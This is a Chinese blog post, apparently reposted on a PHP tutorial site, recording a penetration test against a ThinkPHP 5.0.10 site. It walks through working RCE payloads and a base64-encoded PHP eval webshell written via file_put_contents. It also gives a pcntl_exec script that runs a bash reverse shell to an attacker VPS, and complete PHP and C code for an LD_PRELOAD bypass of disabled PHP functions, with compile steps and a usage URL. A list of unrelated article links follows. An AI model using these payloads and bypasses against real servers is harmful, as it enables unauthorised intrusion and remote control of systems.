一次项目中Thinkphp绕过禁用函数的实战记录


Posted in PHP onNovember 17, 2021

前言

在一次渗透测试中,手工找了许久没发现什么东西,抱着尝试的心情打开了xray

果然xray还是挺给力的,一打开网页的时候xray直接就扫描出了thinkphp 5.0.10 rce漏洞

直接使用命令执行payload,结果报出system函数被禁用

s=whoami&_method=__construct&method=&filter[]=system

一次项目中Thinkphp绕过禁用函数的实战记录

尝试应用其他函数进行利用,经过测试发现call_user_func函数没有被禁用
Payload

s=phpinfo&_method=__construct&method=get&filter[]=call_user_func

可以看到哪些函数被禁用了

一次项目中Thinkphp绕过禁用函数的实战记录

看到assert和include没有被禁用,一开始想写shell进日志然后去利用文件包含,发现并没有任何反应,也不报错。

file_put_contents

又回去看被禁用的函数,发现文件函数没被禁用,可以用file_put_contents函数去写文件
测试写入phpinfo文件

s=file_put_contents('/www/wwwroot/public/phpinfo.php',base64_decode('PD9waHAgJHBhc3M9JF9QT1NUWydhYWFhJ107ZXZhbCgkcGFzcyk7Pz4'))&_method=__construct&filter=assert

一次项目中Thinkphp绕过禁用函数的实战记录

写入成功

一次项目中Thinkphp绕过禁用函数的实战记录

写入冰蝎马可以进行文件管理了

一次项目中Thinkphp绕过禁用函数的实战记录

虽然可以进行文件操作了,但还是没法执行命令

一次项目中Thinkphp绕过禁用函数的实战记录

pcntl_exec

想到了比较容易被忽略的命令执行函数pcntl_exec,发现pcntl_exec函数没有被禁用,该函数可以指定一个程序来执行指定文件

先写一个exe.php文件,在文件中指定pcntl_exec的参数(执行运行程序,运行指定文件)

<?php
    switch (pcntl_fork()) {
        case 0:
            pcntl_exec('/bin/bash', ['/www/wwwroot/public/exec.sh']);
            exit(0);
        default:
            break;
    }
?>

exec.sh文件写入反弹命令

bash -i >& /dev/tcp/vpsip/7777 0>&1

浏览器访问exe.php成功反弹shell

一次项目中Thinkphp绕过禁用函数的实战记录

LD_PRELOAD 劫持

这次渗透是结束了,这里尝试了另外一种绕过方法,如果遇到pcntl_exec函数也被禁用的情况,可以利用环境变量 LD_PRELOAD 劫持系统函数,让外部程序加载恶意 *.so,达到执行系统命令的效果。详细的原理介绍就不赘述了,可以参考这个大哥的文章https://www.meetsec.cn/index.php/archives/44/

这种方法主要是需要上传一个.php和一个由.c程序编译得到共享对象.so文件到服务器

bypass_disablefunc.php

<?php
    echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";

    $cmd = $_GET["cmd"];
    $out_path = $_GET["outpath"];
    $evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
    echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";

    putenv("EVIL_CMDLINE=" . $evil_cmdline);

    $so_path = $_GET["sopath"];
    putenv("LD_PRELOAD=" . $so_path);

    mail("", "", "", "");

    echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";

    unlink($out_path);
?>

bypass_disablefunc.php提供了三个参数:

  1. cmd 参数,待执行的系统命令(如 whoami)。
  2. outpath 参数,保存命令执行输出结果的文件路径(如 /www/wwwroot/public),便于在页面上显示,另外关于该参数,你应注意 web 是否有读写权限、web 是否可跨目录访问、文件将被覆盖和删除等几点。
  3. sopath 参数,指定劫持系统函数的共享对象的绝对路径(如 /www/wwwroot/bypass_disablefunc_x64.so),另外关于该参数,你应注意 web 是否可跨目录访问到它,最好也传到web根目录下。

bypass_disablefunc.c

#define _GNU_SOURCE

#include <stdlib.h>
#include <stdio.h>
#include <string.h>


extern char** environ;

__attribute__ ((__constructor__)) void preload (void)
{
    // get command line options and arg
    const char* cmdline = getenv("EVIL_CMDLINE");

    // unset environment variable LD_PRELOAD.
    // unsetenv("LD_PRELOAD") no effect on some 
    // distribution (e.g., centos), I need crafty trick.
    int i;
    for (i = 0; environ[i]; ++i) {
            if (strstr(environ[i], "LD_PRELOAD")) {
                    environ[i][0] = '\0';
            }
    }

    // executive command
    system(cmdline);
}

这里需要用命令gcc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc_x64.so将 bypass_disablefunc.c编译为共享对象 bypass_disablefunc_x64.so

要根据目标架构编译成不同版本,在 x64 的环境中编译,若不带编译选项则默认为 x64,若要编译成 x86 架构需要加上 -m32 选项。

可以在github上找到上述需要的文件
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

这里利用之前的文件管理冰蝎shell将php和so文件上传到服务器web目录
在浏览器访问bypass_disablefunc.php传入参数

http://www.xxx.com/bypass_disablefunc.php?cmd=ls&outpath=/www/wwwroot%20/public/1.txt&sopath=/www/wwwroot/public/bypass_disablefunc_x64.so

成功执行命令

一次项目中Thinkphp绕过禁用函数的实战记录

总结

到此这篇关于一次项目中Thinkphp绕过禁用函数的文章就介绍到这了,更多相关Thinkphp绕过禁用函数内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木!

PHP 相关文章推荐
用js进行url编码后用php反解以及用php实现js的escape功能函数总结
Feb 08 PHP
PHP中echo,print_r与var_dump区别分析
Sep 29 PHP
利用“多说”制作留言板、评论系统
Jul 14 PHP
8个必备的PHP功能开发
Oct 02 PHP
PHP分页初探 一个最简单的PHP分页代码的简单实现
Jun 21 PHP
[原创]php简单隔行变色功能实现代码
Jul 09 PHP
PHP实现上一篇下一篇的方法实例总结
Sep 22 PHP
详谈PHP中的密码安全性Password Hashing
Feb 04 PHP
PHP获取路径和目录的方法总结【必看篇】
Mar 04 PHP
php通过各种函数判断0和空
Jul 04 PHP
PHP+百度AI OCR文字识别实现了图片的文字识别功能
May 08 PHP
yii 框架实现按天,月,年,自定义时间段统计数据的方法分析
Apr 04 PHP
php修改word的实例方法
Nov 17 #PHP
PHP获取学生成绩的方法
Nov 17 #PHP
php去除deprecated的实例方法
Nov 17 #PHP
php去除数组中为0的元素的实例分析
Nov 17 #PHP
tp5使用layui实现多个图片上传(带附件选择)的方法实例
php png失真的原因及解决办法
Nov 17 #PHP
php实例化对象的实例方法
Nov 17 #PHP
You might like
关于我转生变成史莱姆这档事:第二季PV上线,萌王2021年回归
2020/05/06 日漫
php数组合并array_merge()函数使用注意事项
2014/06/19 PHP
简单的php购物车代码
2020/06/05 PHP
PhpSpreadsheet设置单元格常用操作汇总
2020/11/13 PHP
JavaScript 设计模式 安全沙箱模式
2010/09/24 Javascript
精心挑选的15款优秀jQuery 本特效插件和教程
2012/08/06 Javascript
前后台交互过程中json格式如何解析以及如何生成
2012/12/26 Javascript
JS获取浏览器版本及名称实现函数
2013/04/02 Javascript
jQuery学习笔记之 Ajax操作篇(三) - 过程处理
2014/06/23 Javascript
jQuery实现带玻璃流光质感的手风琴特效
2015/11/20 Javascript
Bootstrap每天必学之按钮(一)
2015/11/24 Javascript
Jquery实现的简单轮播效果【附实例】
2016/04/19 Javascript
bootstrap提示标签、提示框实现代码
2016/12/28 Javascript
ES6新特性三: Generator(生成器)函数详解
2017/04/21 Javascript
jQuery实现table表格信息的展开和缩小功能示例
2018/07/21 jQuery
Vue配合iView实现省市二级联动的示例代码
2018/07/27 Javascript
基于vue实现一个禅道主页拖拽效果
2019/05/27 Javascript
vue下使用nginx刷新页面404的问题解决
2019/08/02 Javascript
vue+element项目中过滤输入框特殊字符小结
2019/08/07 Javascript
卸载vue2.0并升级vue_cli3.0的实例讲解
2020/02/16 Javascript
编写Python脚本把sqlAlchemy对象转换成dict的教程
2015/05/29 Python
python数据预处理之将类别数据转换为数值的方法
2017/07/05 Python
django解决跨域请求的问题详解
2019/01/20 Python
pytorch 实现在预训练模型的 input上增减通道
2020/01/06 Python
CSS3 rgb and rgba(透明色)的使用详解
2020/09/25 HTML / CSS
HTML5的postMessage的使用手册
2018/12/19 HTML / CSS
美国花布包包品牌:Vera Bradley
2017/08/11 全球购物
allbeauty美国:英国在线美容店
2019/03/11 全球购物
中科前程Java笔试题
2016/11/20 面试题
深圳茁壮笔试题
2015/05/28 面试题
物流管理专业应届生求职信
2013/11/21 职场文书
电脑教师的自我评价
2013/12/18 职场文书
法律专业实习鉴定
2013/12/22 职场文书
查摆剖析材料范文
2014/09/30 职场文书
给客户的检讨书
2014/12/21 职场文书
python如何利用cv2模块读取显示保存图片
2021/06/04 Python